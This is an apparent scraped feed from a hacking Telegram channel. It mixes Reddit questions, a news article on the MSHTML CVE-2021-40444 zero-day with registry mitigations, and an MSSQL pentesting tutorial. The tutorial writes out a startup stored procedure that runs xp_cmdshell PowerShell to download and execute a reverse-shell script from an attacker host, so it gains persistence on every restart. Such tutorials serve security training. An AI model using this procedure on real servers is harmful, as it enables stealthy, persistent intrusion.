Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
hacking: security in practice
Is there a way to get the IP from a phone number?

I got two texts from two different people i think on whatsapp, it's probably scam or something they only say hello I'm "name" and i didn't replied, the first one i just blocked and reported straight away since it called me princess and I'm a guy lmao.

I haven't given my number to anyone or posted anywhere in years so it's kind of odd that I'm receiving these texts.

If I'll keep getting these texts i just wanna know if they're from the same person or place

submitted by /u/Utinnni
[link] [comments]
Hacking on Medium
碎碎念隨筆(二):pwn.college Interaction level 3


日期 2021/9/12 ~ 9/13

Continue reading on Medium »
Yet another awesome XSS challenge from Intigriti. By solving the challenge learned cool stuff about DOM-based XSS, hope you will enjoy…Continue reading on Medium » (https://medium.com/@rahul.01.intigriti.me/intigriti-challenge-0921-by-bug-emir-pepijn-van-der-stap-f79a4a9b8692?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's BlogMSSQL for Pentester: Stored Procedures Persistence
In this article, we will learn one of many ways to gain persistence in SQL servers.  This article is an addition to our MSSQL for Pentesters series.

Gaining persistence is one of the significant steps when performing Red Team operations. And when performing such operations on MSSQL, there are possibilities to gain persistence with start-up stored procedures, triggers, and registry keys. If you have privileges of the correct user and database, then it is easy to achieve persistence. Persistence can be stealthier if the instance is running through a domain user. <o:p

When getting persistence via start-up stored procedures, the attacker must have sysadmin privileges. And another important thing is that this stored procedure should be in the master database. If sa does not own the stored procedures, they will not have input and output parameters, which means they will not be restarted with the server, which will beat the whole point of persistence. <o:p

So, let's get started and see how we will get persistence with start-up stored procedures. <o:p

Firstly, let's assume that xp_cmdshell is enabled, so now we will invoke the master database by using the following query:<o:p

USE master<o:p

GO<o:p

 






<v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p

Now we will download the script for PowerShell one-liner on our attacking machine with the help of wget, as shown in the image below:<o:p









<v:shape<v:imagedata<o:p

Now in the script, swap the given IP address with your localhost and local port with the help of the cat command. Once the IP address is switched, enable the python server to share the PowerShell script to the target machine as shown in the image below:<o:p









<v:shape<v:imagedata<o:p

Now let's create a stored procedure that will call upon the PowerShell script from the online python server and do so, use the following query:<o:p

CREATE PROCEDURE test_sp<o:p

AS<o:p

EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'<o:p

GO<o:p

 






<v:shape<v:imagedata<o:p

We will now move this store procedure to the start-up because we want it to execute itself as soon as the server starts. And we shall do this with the help of the following query:<o:p

EXEC sp_procoption @ProcName = 'test_sp'<o:p

, @OptionName = 'startup'<o:p

, @OptionValue = 'on';<o:p








 





<v:shape<v:imagedata<o:p

Now we have our stored procedure in the start-up, which you can confirm using the following query:<o:p

SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;<o:p

 






<v:shape<v:imagedata<o:p

Let's turn on our Netcat listener, as shown in the image below:<o:p

 






<v:shape<v:imagedata<o:p

Now all that is left is to restart the server. And to restart the server, right-click on it and choose the stop option from the drop-down menu as shown in the image below:<o:p









<v:shape<v:imagedata<o:p

And then again, right-click on the server and choose the start option from the drop-down menu as shown in the image below:<o:p

 










<v:shape<v:imagedata<o:p

Once the server is restarted, you will have a session on netcat.<o:p









<v:shape<v:imagedata<o:p

So, this is how one gets persistence locally using start-up stored procedures. <o:p
Need hardware advice
https://www.reddit.com/r/redteamsec/comments/pn9ypf/need_hardware_advice/

<!-- SC_OFF -->This has become a burning passion in the last two months, it’s all i think about. Previous to that i rarely touched computers this is my question. What laptop do you recommend to be able to code, run virtual machines, analyzing malware, using software for brute forcing hashed pw using John, analyzing captured waves to deconstruct the signals into digital/binary, and other things that demanding and more? I don’t have a lot of money so i don’t want to buy and have regret and not be able to learn and explore the field of cybersecurity. I will hopefully be starting school in the next 6 months and would like a laptop that can run all that and if not that at least offers some ability to upgrade. Size is not a consideration. Thank you for anyone’s time who reads or answers <!-- SC_ON --> submitted by /u/Sad_Guest9682 (https://www.reddit.com/user/Sad_Guest9682)
[link] (https://www.reddit.com/r/redteamsec/comments/pn9ypf/need_hardware_advice/) [comments] (https://www.reddit.com/r/redteamsec/comments/pn9ypf/need_hardware_advice/)
WEB APPLICATION — BUSINESS LOGIC VULNERABILITIES

Buisness logic vulnerabilities are flaw in the design, implementation and concept of an application, that allow an attacker to evoke…Continue reading on Medium »
Read more...
Hacking Articles
MSSQL for Pentester: Stored Procedures Persistence

In this article, we will learn one of many ways to gain persistence in SQL servers.  This article is an addition to our MSSQL for Pentesters series. Gaining persistence is one of the significant steps when performing Red Team operations. And when performing such operations on MSSQL, there are possibilities

The post MSSQL for Pentester: Stored Procedures Persistence appeared first on Hacking Articles.
Buisness logic vulnerabilities are flaw in the design, implementation and concept of an application, that allow an attacker to evoke…Continue reading on Medium » (https://sagartiwari1220.medium.com/web-application-business-logic-vulnerabilities-51be9c6b99fa?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Windows MSHTML zero-day exploits shared on hacking forums

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Windows MSHTML zero-day exploits shared on hacking forumsPost Views: 101
Reading Time: 2 Minutes
Threat actors are sharing Windows MSHTML zero-day (CVE-2021-40444) tutorials and exploits on hacking forums, allowing other hackers to start exploiting the new vulnerability in their own attacks.
Last Tuesday, Microsoft disclosed a new zero-day vulnerability in Windows MSHTML that allows threat actors to create malicious documents, including Office and RTF docs, to execute commands on a victim’s computer remotely.

Even though there are no security updates available for the CVE-2021-40444 vulnerability, as it was discovered used in active attacks by EXPMON and Mandiant, Microsoft decided to disclose the vulnerability and provide mitigations to help prevent its exploitation.

These mitigations work by blocking ActiveX controls and Word/RTF document previews in Windows Explorer.

However, researchers have been able to modify the exploit not to use ActiveX, effectively bypassing Microsoft’s mitigations. Guides and PoCs shared on hacking forumsWhen Microsoft first disclosed the Windows MSHTML zero-day, tracked as CVE-2021-40444, security researchers quickly found the malicious documents used in attacks.

While they soon reproduced the exploits, modified them for further capabilities, and discovered a new document preview vector, the researchers did not disclose details for fear other threat actors would abuse it.

Unfortunately, threat actors have been able to reproduce the exploit on their own from information, and malicious document samples posted online and have begun sharing detailed guides and information on hacking forums.

Starting on Thursday, threat actors began sharing public information about the HTML component of the exploit and how to create the malicious document. On Friday, more instructions were posted on generating the payload and a CAB file that included the path traversal vulnerability component.
https://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2021-40444/hacking-forums/forum-post.jpg
Defending against the CVE-2021-40444 MSHTML vulnerability The good news is that since the vulnerability was disclosed, Microsoft Defender and other security programs can detect and block malicious documents and CAB files used in this attack.

For example, you can see below Microsoft Defender blocking the exploit as ‘Trojan:Win32/CplLoader.a’ and ‘TrojanDownloader:HTML/Donoff.SA’ detections.
https://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2021-40444/hacking-forums/defender-detecting.jpg
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Windows MSHTML zero-day exploits shared on hacking forums https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Windows MSHTML zero-day exploits shared on hacking forumsPost Views: 101 Reading…
e following mitigations to block ActiveX controls in Internet Explorer, the default handler for the MSHTML protocol, and block document preview in Windows Explorer. Disable ActiveX controls in Internet ExplorerTo disable ActiveX controls, please follow these steps:

1. Open Notepad and paste the following text into a text file. Then save the file as disable-activex.reg. Make sure you have the displaying of file extensions enabled to properly create the Registry file.


Alternatively, you can download the registry file from here. Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003
2. Find the newly created disable-activex.reg and double-click on it. When a UAC prompt is displayed, click on the Yes button to import the Registry entries.
3. Reboot your computer to apply the new configuration.

Once you reboot your computer, ActiveX controls will be disabled in Internet Explorer.

You can enable ActiveX controls again by deleting the above Registry keys or using this Registry file.
See Also: Offensive Security Tool: Jenkins Attack Framework Disable document preview in Windows ExplorerSecurity researchers have also found that this vulnerability can be exploited by viewing a malicious document using the Windows Explorer preview feature.
CVE-2021-40444 is so bad🤦‍♂️ pic.twitter.com/3Gu9ahwmHd

— jq0904 (@jq0904) September 10, 2021
Since this was discovered, Microsoft has added the following mitigation to disable previewing of RTF and Word documents:

1. In the Registry Editor (regedit.exe), navigate to the appropriate registry key:
For Word documents, navigate to these keys:

* HKEY_CLASSES_ROOT.docx\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}
* HKEY_CLASSES_ROOT.doc\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}
* HKEY_CLASSES_ROOT.docm\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}

For rich text files (RTF), navigate to this key:

* HKEY_CLASSES_ROOT.rtf\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}

2. Export a copy of the Registry key as a backup.
3. Now double-click Name and in the Edit String dialog box, delete the Value Data.
4. Click OK, See Also: Hacking Stories: Andrian Lamo – The ‘homeless’ HackerWord document and RTF file previews are now disabled in Windows Explorer.

To enable Windows Explorer preview for these documents, double-click on the backup .reg file you created in step 2 above.

While these mitigations will help, as the exploit has been modified not to use ActiveX controls, users are still at risk until an official security update is released.

Until Microsoft releases a security update, everyone should treat all Word and RTF attachments suspiciously and their source manually verified before opening them.
Source: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Jenkins-90x90.jpg Jenkins project’s Confluence server hacked to mine Monero5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
e following mitigations to block ActiveX controls in Internet Explorer, the default handler for the MSHTML protocol, and block document preview in Windows Explorer. Disable ActiveX controls in Internet ExplorerTo disable ActiveX controls, please follow these…
630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_plugin_vuln-90x90.jpg Gutenberg Template Library & Redux Framework Bugs Plague WordPress Sites2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/ransomware-cpu-90x90.jpg LockFile Ransomware Uses Never-Before Seen Encryption to Avoid Detection2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Windows-Abstract-90x90.jpg Microsoft Exchange ‘ProxyToken’ Bug Allows Email Snooping2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/F5-Big-IP-e1619725870974-90x90.jpg F5 Bug Could Lead to Complete System Takeover2 weeks ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Windows MSHTML zero-day exploits shared on hacking forums first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
I was forced to download AnyDesk at work.

Hi guys, I was forced to download AnyDesk for my new workplace since they wanted to help me set up. I’ve watched the whole process from start to finish and so far they’ve only downloaded the new version of MS office (mine was really old), LastPass, Outlook, Clickup and setting up my work email basically. They would require me to leave AnyDesk on and they mentioned that they would be tracking my work email, etc. They also mentioned that they won’t be able to track my browsing activities (for personal use) when I disconnect them from my AnyDesk. I just wanted to know if anyone has a similar experience with AnyDesk and is it safe?

PS. Is this procedure/behaviour normal in companies or should I be seriously concerned?

submitted by /u/bunny_doge
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video